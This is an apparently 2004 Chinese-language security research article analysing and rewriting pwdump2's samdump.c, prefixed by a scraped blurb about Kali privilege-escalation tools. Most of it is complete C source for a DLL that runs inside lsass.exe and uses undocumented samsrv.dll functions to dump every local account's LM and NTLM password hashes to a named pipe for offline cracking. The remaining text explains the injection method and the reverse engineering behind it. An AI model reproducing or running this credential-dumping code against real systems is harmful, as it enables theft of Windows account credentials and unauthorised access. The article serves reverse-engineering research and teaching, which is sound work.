pwdump2/samdump.c浅析与改进

【kali】28 提权——读取windows本地密码:pwddump、WCE、fgdump、mimikatz 这里写自定义目录标题一、 抓包嗅探二、 键盘记录本地密码三、 查看本地缓存密码1. 浏览器查看密码2. 密码恢复工具3. 使用 Pwdump 查看 windows 本地登录密码4. WCE (WINDOWS CREDENTIAL EDITOR)5. fgdump6. mimikatz 一、 抓包嗅探 Windows Wireshark Omnipeek (好多的分析功能 Commview Sniffpass:抓取密码相关的数据包 Linux Tcpdump Wireshark Dsniff:抓取密码相 阅读详情
作者:scz <scz@nsfocus.com>
出处:http://www.nsfocus.com
日期:2004-03-05

☆ pwdump2/samdump.c浅析与改进

(txt版全文http://www.opencjk.org/~scz/200401041902.txt)

samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。

我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:

--------------------------------------------------------------------------
SamIConnect
    SamrEnumerateDomainsInSamServer
        SamrLookupDomainInSamServer
            SamrOpenDomain
                SamrEnumerateUsersInDomain
                    SamrOpenUser
                        SamrQueryInformationUser
                        SamIFree_SAMPR_USER_INFO_BUFFER
                    SamrCloseHandle
                SamIFree_SAMPR_ENUMERATION_BUFFER
            SamrCloseHandle
        LocalFree
    SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------

SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。

使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。

相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。

--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
* -----------------------------------------------------------------------
* Rewrite  : scz <scz@nsfocus.com>
*          : http://www.nsfocus.com
* Version  : 1.10
* Compile  : For x86/EWindows XP SP1 & VC 7
*          : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
*          :
* Create   : 2003-12-29 21:42
* Modify   : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

/*
* #define _WIN32_WINNT 0x0501
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO"    )
#pragma comment( lib,    "kernel32.lib"       )

#define VERSION                         "1.10"

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (/WINDDK/2600.1106/inc/ddk/wxp/)
*/
typedef LONG                            NTSTATUS;
#define NT_SUCCESS(status)              ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES             ((NTSTATUS)0x00000105L)

#define SamUserOWFPasswordInformation   0x12

#pragma pack( push, 1 )

/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
    USHORT  Length;         // +0x000
    USHORT  MaximumLength;  // +0x002
    PWSTR   Buffer;         // +0x004
                            // +0x008
} UNICODE_STRING, *PUNICODE_STRING;

/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
    DWORD           userrid;    // +0x000
    UNICODE_STRING  username;   // +0x004,这是一个结构,而非结构指针
                                // +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/*
* !!!
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
    DWORD               DomainUserCount;    // +0x000,数组元素个数
    PSAM_DOMAIN_USER    DomainUser;         // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;

/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION   // Information Class 0x12
{
    unsigned char       NTLMHash[16];   // +0x000,16字节的NTLM Hash
    unsigned char       LMHash[16];     // +0x010,16字节的LM Hash
    unsigned short int  Unknown_020;    // +0x020,参samsrv!SampGetCurrentAdminPassword()
    unsigned char       Unknown_022;    // +0x022
                                        // +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN
{
    DWORD           unused;         // +0x000,未使用,总为0(猜测)
    UNICODE_STRING  domainname;     // +0x004,这是一个结构,而非结构指针
                                    // +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION
{
    DWORD               ServerDomainCount;  // +0x000,数组元素个数
    PSAM_SERVER_DOMAIN  ServerDomain;       // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;

#pragma pack( pop )

/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
    DWORD   Unknown_0,      // 意义不明,调用时一般为0
    PHANDLE pSamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
    DWORD   AccessMask,     // Access Mask
    DWORD   Unknown_1       // 意义不明,调用时一般为1
);

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
    HANDLE  SamHandle,      // 源自sam connect操作
    DWORD   AccessMask,     // Access Mask
    PSID    DomainSid,      // 这个域不是通常所说NT域
    PHANDLE pDomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
    HANDLE  DomainHandle,   // 源自sam open domain操作
    DWORD   AccessMask,     // Access Mask
    DWORD   Rid,            // 比如500,0x1F4,Administrator
    PHANDLE pUserHandle     // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
    HANDLE  UserHandle,     // 源自sam open user操作
    DWORD   InfoClass,      // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
    PVOID   UserInfo        // 随InfoClass不同,对应不同的结构
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
    PVOID   UserInfo,       // 随InfoClass不同,对应不同的结构
    DWORD   InfoClass       // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
);

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
    PHANDLE pHandle         // 可以关闭各种sam操作相关的句柄
                            // 是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
    HANDLE                          DomainHandle,               // 源自sam open domain操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    DWORD                           AccessMask,                 // filter,Access Mask
                                                                // 如欲枚举所有帐号,指定0
    PPSAM_DOMAIN_USER_ENUMERATION   pDomainUserEnumeration,     // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 可以指定成0x0000FFFF
    PDWORD                          pUserCount                  // [out]参数,枚举出的帐号数目
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
    PVOID   EnumerationBuf  // 其实是PSAM_ENUMERATION_BUFFER
                            // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
                            // 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
    HANDLE                          SamHandle,                  // 源自sam connect操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration,   // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 应该也可以指定成0x0000FFFF
    PDWORD                          pDomainCount                // [out]参数,枚举出的Domain数目
);

typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
    HANDLE              SamHandle,      // 源自sam connect操作
    PUNICODE_STRING     DomainName,     //
    PSID               *pDomainSid      // [out]参数,用LocalFree()释放
);

/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR )
(
    IN NTSTATUS status
);

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static void getlmhash           ( void );
static BOOL LocateNtdllEntry    ( void );
static BOOL LocateSamsrvEntry   ( void );
static void PrintHash           ( unsigned char *hash );
static void PrintUnicodeString  ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI  ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI     ( char *message, NTSTATUS status );
static int  PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
);

__declspec(dllexport)
       DWORD __cdecl
            getlmhashdll_main   ( char *pipename );

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static HANDLE                               outfile                             = INVALID_HANDLE_VALUE;
static char                                *outbuf                              = NULL;
static size_t                               outbuflen                           = 0;
static HMODULE                              samsrv                              = NULL;

/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT                          SamIConnect                         = NULL;
static SAMROPENDOMAIN                       SamrOpenDomain                      = NULL;
static SAMROPENUSER                         SamrOpenUser                        = NULL;
static SAMRQUERYINFORMATIONUSER             SamrQueryInformationUser            = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER      SamIFree_SAMPR_USER_INFO_BUFFER     = NULL;
static SAMRCLOSEHANDLE                      SamrCloseHandle                     = NULL;
static SAMRENUMERATEUSERSINDOMAIN           SamrEnumerateUsersInDomain          = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER    SamIFree_SAMPR_ENUMERATION_BUFFER   = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER      SamrEnumerateDomainsInSamServer     = NULL;
static SAMRLOOKUPDOMAININSAMSERVER          SamrLookupDomainInSamServer         = NULL;

/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR                RtlNtStatusToDosError               = NULL;

/************************************************************************/

static void getlmhash ( void )
{
    NTSTATUS    status;
    HANDLE                              SamHandle               = NULL,
                                        EnumerationHandle       = NULL,
                                        DomainHandle            = NULL,
                                        UserHandle              = NULL;
    PSAM_SERVER_DOMAIN_ENUMERATION      ServerDomainEnumeration = NULL;
    DWORD                               DomainCount             = 0,
                                        UserCount               = 0,
                                        Count                   = 0;
    PSID                                DomainSid               = NULL;
    PSAM_DOMAIN_USER_ENUMERATION        DomainUserEnumeration   = NULL;
    BOOL                                nomoredata              = FALSE;
    PSAM_USER_OWF_PASSWORD_INFORMATION  UserOWFPasswordInfo     = NULL;

    status              = SamIConnect
    (
        0,              // 意义不明,调用时一般为0
        &SamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
        0x10000030,     // Access Mask
                        // Generic read
                        // Open domain
                        // Enum domains
        1               // 意义不明,调用时一般为1
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamIConnect() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrEnumerateDomainsInSamServer
    (
        SamHandle,                  // 源自sam connect操作
        &EnumerationHandle,         // [in/out]参数,Resume Handle
                                    // 是指向HANDLE的指针,不是HANDLE
        &ServerDomainEnumeration,   // [out]参数
        0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
                                    // 应该也可以指定成0x0000FFFF
        &DomainCount                // [out]参数,枚举出的Domain数目
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrEnumerateDomainsInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    if ( 2 != DomainCount )
    {
        goto getlmhash_exit;
    }
    status              = SamrLookupDomainInSamServer
    (
        SamHandle,                                              // 源自sam connect操作
        &ServerDomainEnumeration->ServerDomain[0].domainname,   // PUNICODE_STRING
        &DomainSid                                              // [out]参数,用LocalFree()释放
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrLookupDomainInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrOpenDomain
    (
        SamHandle,      // 源自sam connect操作
        0x10000000,     // Access Mask
                        // SampGetCurrentAdminPassword()中用的是这个值
        DomainSid,      // 这个域不是通常所说NT域
        &DomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrOpenDomain() failed",
            status
        );
        goto getlmhash_exit;
    }
    /*
     * TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
     * 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
     * 要将该[in/out]参数清零。
     */
    EnumerationHandle   = NULL;
    do
    {
        status                  = SamrEnumerateUsersInDomain
        (
            DomainHandle,               // Context Handle
            &EnumerationHandle,         // [in/out]参数,Resume Handle
                                        // 是指向HANDLE的指针,不是HANDLE
            0,                          // filter,Access Mask
                                        // 如欲枚举所有帐号,指定0
            &DomainUserEnumeration,     // [out]参数
            0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
            &UserCount                  // [out]参数,枚举出的帐号数目
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrEnumerateUsersInDomain() failed",
                status
            );
            goto getlmhash_exit;
        }
        /*
         * from ntstatus.h(/WINDDK/2600.1106/inc/ddk/wxp/)
         *
         * Returned by enumeration APIs to indicate more information is
         * available to successive calls.
         *
         * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
         */
        if ( STATUS_MORE_ENTRIES != status )
        {
            nomoredata = TRUE;
        }
        Count                   = 0;
        while ( Count < UserCount )
        {
            status              = SamrOpenUser
            (
                DomainHandle,                                       // 源自sam open domain操作
                0x10000000,                                         // Access Mask
                DomainUserEnumeration->DomainUser[Count].userrid,   // RID
                &UserHandle                                         // [out]参数,是指向HANDLE的指针,不是HANDLE
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrOpenUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            status              = SamrQueryInformationUser
            (
                UserHandle,                     // 源自sam open user操作
                SamUserOWFPasswordInformation,  // InformationClass,0x12,其实是
                                                // SAM_USER_INFORMATION_CLASS枚举型,
                                                // 为了减少编译难度,换成DWORD型
                &UserOWFPasswordInfo            // 随InformationClass不同,对应不同的结构
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrQueryInformationUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":%u:",
                DomainUserEnumeration->DomainUser[Count].userrid
            );
            PrintHash( UserOWFPasswordInfo->LMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":"
            );
            PrintHash( UserOWFPasswordInfo->NTLMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":::/n"
            );
            SamIFree_SAMPR_USER_INFO_BUFFER
            (
                UserOWFPasswordInfo,
                SamUserOWFPasswordInformation   // InformationClass,0x12
            );
            UserOWFPasswordInfo = NULL;
            status              = SamrCloseHandle
            (
                &UserHandle
            );
            UserHandle          = NULL;
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrCloseHandle() failed for UserHandle",
                    status
                );
                goto getlmhash_exit;
            }
            Count++;
        }  /* end of while */
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration   = NULL;
    }
    while ( FALSE == nomoredata );

getlmhash_exit:

    if ( NULL != UserOWFPasswordInfo )
    {
        SamIFree_SAMPR_USER_INFO_BUFFER
        (
            UserOWFPasswordInfo,
            SamUserOWFPasswordInformation   // InformationClass,0x12
        );
        UserOWFPasswordInfo = NULL;
    }
    if ( NULL != UserHandle )
    {
        SamrCloseHandle
        (
            &UserHandle
        );
        UserHandle = NULL;
    }
    if ( NULL != DomainUserEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration = NULL;
    }
    if ( NULL != DomainHandle )
    {
        SamrCloseHandle
        (
            &DomainHandle
        );
        DomainHandle = NULL;
    }
    if ( NULL != DomainSid )
    {
        LocalFree( DomainSid );
        DomainSid = NULL;
    }
    if ( NULL != ServerDomainEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            ServerDomainEnumeration
        );
        ServerDomainEnumeration = NULL;
    }
    if ( NULL != SamHandle )
    {
        SamrCloseHandle
        (
            &SamHandle
        );
        SamHandle = NULL;
    }
    return;
}  /* end of getlmhash */

/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    ntdllname[] = "ntdll";
    HMODULE ntdll       = NULL;

    /*
     * returns a handle to a mapped module without incrementing its
     * reference count
     */
    ntdll                   = GetModuleHandle( ntdllname );
    if ( NULL == ntdll )
    {
        PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
        return( ret );
    }
    RtlNtStatusToDosError   = ( RTLNTSTATUSTODOSERROR )GetProcAddress
    (
        ntdll,
        "RtlNtStatusToDosError"
    );
    if ( !RtlNtStatusToDosError )
    {
        goto LocateNtdllEntry_exit;
    }
    ret                     = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    if ( NULL != ntdll )
    {
        ntdll = NULL;
    }
    return( ret );
}  /* end of LocateNtdllEntry */

/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
    BOOL    ret             = FALSE;
    char    samsrvname[]    = "samsrv";

    samsrv                              = LoadLibrary( samsrvname );
    if ( NULL == samsrv )
    {
        PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
        return( ret );
    }
    SamIConnect                         = ( SAMICONNECT                       )GetProcAddress
    (
        samsrv,
        "SamIConnect"
    );
    if ( !SamIConnect )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenDomain                      = ( SAMROPENDOMAIN                    )GetProcAddress
    (
        samsrv,
        "SamrOpenDomain"
    );
    if ( !SamrOpenDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenUser                        = ( SAMROPENUSER                      )GetProcAddress
    (
        samsrv,
        "SamrOpenUser"
    );
    if ( !SamrOpenUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrQueryInformationUser            = ( SAMRQUERYINFORMATIONUSER          )GetProcAddress
    (
        samsrv,
        "SamrQueryInformationUser"
    );
    if ( !SamrQueryInformationUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_USER_INFO_BUFFER     = ( SAMIFREE_SAMPR_USER_INFO_BUFFER   )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_USER_INFO_BUFFER"
    );
    if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrCloseHandle                     = ( SAMRCLOSEHANDLE                   )GetProcAddress
    (
        samsrv,
        "SamrCloseHandle"
    );
    if ( !SamrCloseHandle )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateUsersInDomain          = ( SAMRENUMERATEUSERSINDOMAIN        )GetProcAddress
    (
        samsrv,
        "SamrEnumerateUsersInDomain"
    );
    if ( !SamrEnumerateUsersInDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_ENUMERATION_BUFFER   = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_ENUMERATION_BUFFER"
    );
    if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateDomainsInSamServer     = ( SAMRENUMERATEDOMAINSINSAMSERVER   )GetProcAddress
    (
        samsrv,
        "SamrEnumerateDomainsInSamServer"
    );
    if ( !SamrEnumerateDomainsInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrLookupDomainInSamServer         = ( SAMRLOOKUPDOMAININSAMSERVER       )GetProcAddress
    (
        samsrv,
        "SamrLookupDomainInSamServer"
    );
    if ( !SamrLookupDomainInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    ret                                 = TRUE;

LocateSamsrvEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    /*
     * 后面还要用这些函数指针,这里不得释放samsrv.dll
     */
    return( ret );
}  /* end of LocateSamsrvEntry */

static void PrintHash ( unsigned char *hash )
{
    unsigned int    i;
    char            buf[33];
    char           *p = buf;

    for ( i = 0; i < 16; i++ )
    {
        sprintf( p, "%02X", hash[i] );
        p += 2;
    }
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s",
        buf
    );
    return;
}  /* end of PrintHash */

static void PrintUnicodeString ( PUNICODE_STRING us )
{
    int             i       = 0;
    unsigned int    len     = 0;
    unsigned char  *ansibuf = NULL,
                   *ansistr = NULL;

    if ( NULL == us )
    {
        goto PrintUnicodeString_exit;
    }
    /*
     * 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
     */
    len     = us->Length + 1;
    ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
    if ( NULL == ansibuf )
    {
        ansistr = "No memory for ansibuf";
    }
    else
    {
        i = WideCharToMultiByte
            (
                CP_ACP,
                0,
                us->Buffer,
                ( int )( us->Length / 2 ),
                ansibuf,
                len,
                NULL,
                NULL
            );
        if ( 0 == i )
        {
            ansistr = "WideCharToMultiByte() failed";
        }
        else
        {
            ansistr = ansibuf;
        }
    }
    PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

    if ( NULL != ansibuf )
    {
        HeapFree( GetProcessHeap(), 0, ansibuf );
        ansibuf = NULL;
    }
    return;
}  /* end of PrintUnicodeString */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwMessageId,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        RtlNtStatusToDosError( status ),
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintZwErrorCUI */

static int PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
)
{
    va_list     arg;
    int         num;
    DWORD       NumberOfBytes;

    if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
    {
        return( -1 );
    }
    /*
     * 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
     * 出现内存访问违例,将导致整个操作系统崩溃!
     */
    __try
    {
        va_start( arg, format );
        num = _vsnprintf
              (
                  buf,
                  count - 1,
                  format,
                  arg
              );
        if ( num >= 0 )
        {
            WriteFile
            (
                handle,
                buf,
                num,
                &NumberOfBytes,
                NULL
            );
        }
        va_end( arg );
    }
    __except
    (
        EXCEPTION_EXECUTE_HANDLER
    )
    {
        num = -1;
    }
    return( num );
}  /* end of PrivatePrintf */

DWORD __cdecl getlmhashdll_main ( char *pipename )
{
    DWORD   ret = EXIT_FAILURE;

    outbuflen   = 1024;
    outbuf      = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
    if ( NULL == outbuf )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
    {
        goto getlmhashdll_main_exit;
    }
    outfile     = CreateFile
                  (
                      pipename,
                      GENERIC_READ | GENERIC_WRITE,
                      0,
                      NULL,
                      OPEN_EXISTING,
                      0,
                      NULL
                  );
    if ( INVALID_HANDLE_VALUE == outfile )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateNtdllEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateSamsrvEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    /*
     * 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
     * NTLM Hash
     */
    getlmhash();
    ret         = EXIT_SUCCESS;

getlmhashdll_main_exit:

    if ( NULL != samsrv )
    {
        FreeLibrary( samsrv );
        samsrv  = NULL;
    }
    if ( INVALID_HANDLE_VALUE != outfile )
    {
        CloseHandle( outfile );
        outfile = INVALID_HANDLE_VALUE;
    }
    if ( NULL != outbuf )
    {
        HeapFree( GetProcessHeap(), 0, outbuf );
        outbuf  = NULL;
    }
    outbuflen   = 0;
    return( ret );
}  /* end of getlmhashdll_main */

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
    DisableThreadLibraryCalls( hinstDll );
    return( TRUE );
}  /* end of DllMain */

/************************************************************************/

--------------------------------------------------------------------------

1) pwdump2在做什么。

假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。

http://www.opencjk.org/~scz/200210141957.txt

第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。

2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。

这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。

开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:

SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。

3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
   程、思想的发展可能是怎样的。

最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。

4) 在此基础上我们还能继续Hacking出其它有用的东西吗。

目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。

枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。

5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
   如选题方向、研究方法、工具使用等等。

